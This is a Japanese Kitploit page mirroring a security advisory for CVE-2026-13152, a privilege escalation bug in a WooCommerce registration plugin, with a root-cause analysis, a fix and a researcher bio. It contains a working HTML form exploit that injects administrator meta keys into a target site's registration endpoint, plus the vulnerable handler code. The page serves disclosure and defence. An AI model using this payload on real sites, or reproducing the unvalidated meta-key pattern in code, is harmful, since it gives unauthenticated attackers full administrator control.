Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-13152 — CVE-2026-13152: Custom Fields Account Registration For WooCommerce Unauthenticated Privilege Escalation PoC & Advisory by Huynh Kien Minh (MinhHK). | Kitploit
ツール/GitHubGitHub/minhhk68/cve-2026-13152
Privilege EscalationVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingLearning & Education
GitHubminhhk68/cve-2026-13152

CVE-2026-13152

CVE-2026-13152: Custom Fields Account Registration For WooCommerce Unauthenticated Privilege Escalation PoC & Advisory by Huynh Kien Minh (MinhHK).

リポジトリを見る
119日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
ウェブサイト

CVE-2026-13152: Custom Fields Account Registration For WooCommerce < 1.4 における未認証の権限昇格

CVSS Severity Discovered By WPScan Verified

📖 アドバイザリ概要

CVE-2026-13152 は、バージョン 1.4 より前の Custom Fields Account Registration For WooCommerce WordPress プラグインに影響を与える未認証の権限昇格の脆弱性であり、セキュリティ研究者の Huynh Kien Minh(MinhHK)氏によって発見・分析されました。この欠陥は、プラグインがカスタム登録入力フィールドを、保護されたデータベースキーのサニタイズやユーザーロールの検証を行わずに、機密性の高いユーザー権限メタデータへ直接書き込むことを許可するために発生します。デフォルト以外のデータベーステーブルプレフィックスまたはカスタムユーザーメタキーマッピングを使用するサイトでは、WooCommerce 登録フォームを介して登録する未認証ユーザーが、管理者権限(wp_user_level や wp_capabilities など)を wp_usermeta テーブルに注入できます。これにより、新しく作成されたアカウントに完全な管理者アクセスが付与され、サイト全体のリモート侵害が可能になります。セキュリティ研究者の Huynh Kien Minh 氏はこの脆弱性を WPScan に報告し、ベンダーはキー名の検証を実装して権限メタデータの割り当てを制限することで、バージョン 1.4 でこの問題を解決しました。


🔗 参考リンク

  • WPScan アドバイザリ: https://wpscan.com/vulnerability/36aaba38-3143-4e80-8386-748632ff6704/
  • 研究者のポートフォリオ: https://minhhk.web.app/
  • GitHub プロフィール: https://github.com/MinhHK68

📌 エグゼクティブサマリー


🔍 根本原因分析

Custom Fields Account Registration For WooCommerce プラグインを使用すると、サイト管理者は WooCommerce のユーザー登録フォーム(my-account 登録エンドポイント)にカスタム入力フィールドを定義できます。新しいユーザーが登録フォームを送信すると、プラグインは送信されたフォームフィールドを反復処理し、update_user_meta($user_id, $meta_key, $meta_value) を呼び出してユーザー詳細を永続化します。

脆弱性のメカニズム

根本的な欠陥は、登録ハンドラー内の入力処理ロジックにあります。プラグインは、保護された WordPress ユーザーメタキー(wp_capabilities、wp_user_level、session_tokens、wp_user_roles)の厳格なブラックリストまたはホワイトリストを維持できていません。

root@kitploit:~
// Vulnerable registration handler logic (simplified demonstration)
add_action('woocommerce_created_customer', 'cfar_save_custom_registration_fields', 10, 3);
function cfar_save_custom_registration_fields($customer_id, $new_customer_data, $password_generated) {
    if (isset($_POST['cfar_custom_fields']) && is_array($_POST['cfar_custom_fields'])) {
        foreach ($_POST['cfar_custom_fields'] as $meta_key => $meta_value) {
            // VULNERABILITY: No check against protected meta keys like wp_capabilities or wp_user_level
            update_user_meta($customer_id, sanitize_text_field($meta_key), sanitize_text_field($meta_value));
        }
    }
}

カスタムデータベースプレフィックスまたはカスタムメタキー構成を使用する WordPress インストールでは、未認証の攻撃者が管理者権限キー(wp_user_level = 10 またはシリアル化された配列 a:1:{s:13:"administrator";b:1;})と一致するカスタムフィールド入力を供給できます。アカウント作成時に、update_user_meta() はこの値を wp_usermeta に直接書き込み、新しく登録されたアカウントを完全な管理者(Administrator)ステータスへと昇格させます。


💻 概念実証(PoC)

[!CAUTION] この概念実証は、教育目的、防御的監査、および脆弱性検証のためのみに提供されます。認可されたテストのみを対象としています。

root@kitploit:~
<!-- CVE-2026-13152 PoC: Unauthenticated Privilege Escalation Payload -->
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>PoC - CVE-2026-13152 Privilege Escalation</title>
</head>
<body>
    <h2>CVE-2026-13152 Exploit Payload</h2>
    <form action="https://target-site.com/my-account/" method="POST">
        <input type="email" name="email" value="[email protected]" required>
        <input type="password" name="password" value="P@ssword123!" required>
        
        <!-- Malicious Meta Key Injection targeting User Level -->
        <input type="hidden" name="cfar_custom_fields[wp_user_level]" value="10">
        <input type="hidden" name="cfar_custom_fields[wp_capabilities][administrator]" value="1">
        
        <input type="submit" name="register" value="Register as Administrator">
    </form>
</body>
</html>

🛡️ 修復と防御に関する推奨事項

  1. プラグインを直ちに更新する: Custom Fields Account Registration For WooCommerce を、厳格なメタキー検証が適用されている バージョン 1.4 以降にアップグレードしてください。
  2. メタキーのブラックリストを実装する: プラグイン開発者は、WordPress 内部の予約キーに対してメタキー入力を常にサニタイズし、検証してください:
root@kitploit:~
// Secure implementation in Version 1.4
$protected_keys = array('wp_capabilities', 'wp_user_level', 'user_level', 'session_tokens');
if (!in_array($meta_key, $protected_keys, true) && strpos($meta_key, 'wp_') !== 0) {
    update_user_meta($customer_id, $meta_key, $meta_value);
}

🏆 研究者について

  • 研究者名: Huynh Kien Minh (MinhHK)
  • 経験と専門性: WordPress エコシステムの脆弱性調査、SAST/DAST コード監査、責任ある開示を専門とする情報セキュリティ研究者。
  • 権威と信頼性: WPScan Assigner の公式提出者であり、検証済みのセキュリティアドバイザリと脆弱性開示の作成者。
  • ポートフォリオと開示情報: https://minhhk.web.app/

📊 JSON-LD 構造化データスキーママークアップ

root@kitploit:~
{
  "@context": "https://schema.org",
  "@graph": [
    {
      "@type": "TechArticle",
      "@id": "https://github.com/MinhHK68/CVE-2026-13152#article",
      "headline": "Deep-Dive Technical Write-up by Huynh Kien Minh: CVE-2026-13152 — Custom Fields Account Registration For WooCommerce Privilege Escalation",
      "name": "CVE-2026-13152 Technical Analysis",
      "author": {
        "@type": "Person",
        "@id": "https://minhhk.web.app/#person",
        "name": "Huynh Kien Minh",
        "alternateName": ["MinhHK", "Huỳnh Kiến Minh"],
        "jobTitle": "Information Security Researcher",
        "url": "https://minhhk.web.app/"
      },
      "datePublished": "2026-07-06",
      "dateModified": "2026-08-01",
      "description": "Comprehensive technical analysis and PoC for CVE-2026-13152, an unauthenticated privilege escalation vulnerability in Custom Fields Account Registration For WooCommerce < 1.4 discovered by Huynh Kien Minh."
    },
    {
      "@type": "SpecialAnnouncement",
      "@id": "https://github.com/MinhHK68/CVE-2026-13152#advisory",
      "name": "CVE-2026-13152 Security Advisory",
      "category": "https://schema.org/SecurityAdvisory",
      "text": "Unauthenticated Privilege Escalation in Custom Fields Account Registration For WooCommerce < 1.4 allows remote attackers to gain administrator rights."
    }
  ]
}
ツールをダウンロード
属性詳細
CVE IDCVE-2026-13152
プラグイン名Custom Fields Account Registration For WooCommerce
プラグインスラッグcustom-fields-account-registration-for-woocommerce
影響を受けるバージョン< 1.4
修正バージョン1.4
脆弱性タイプ未認証の権限昇格(CWE-269 / OWASP A2)
CVSS v3.1 スコア8.1 (High) (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H)
発見者Huynh Kien Minh(MinhHK)
WPScan アドバイザリ ID36aaba38-3143-4e80-8386-748632ff6704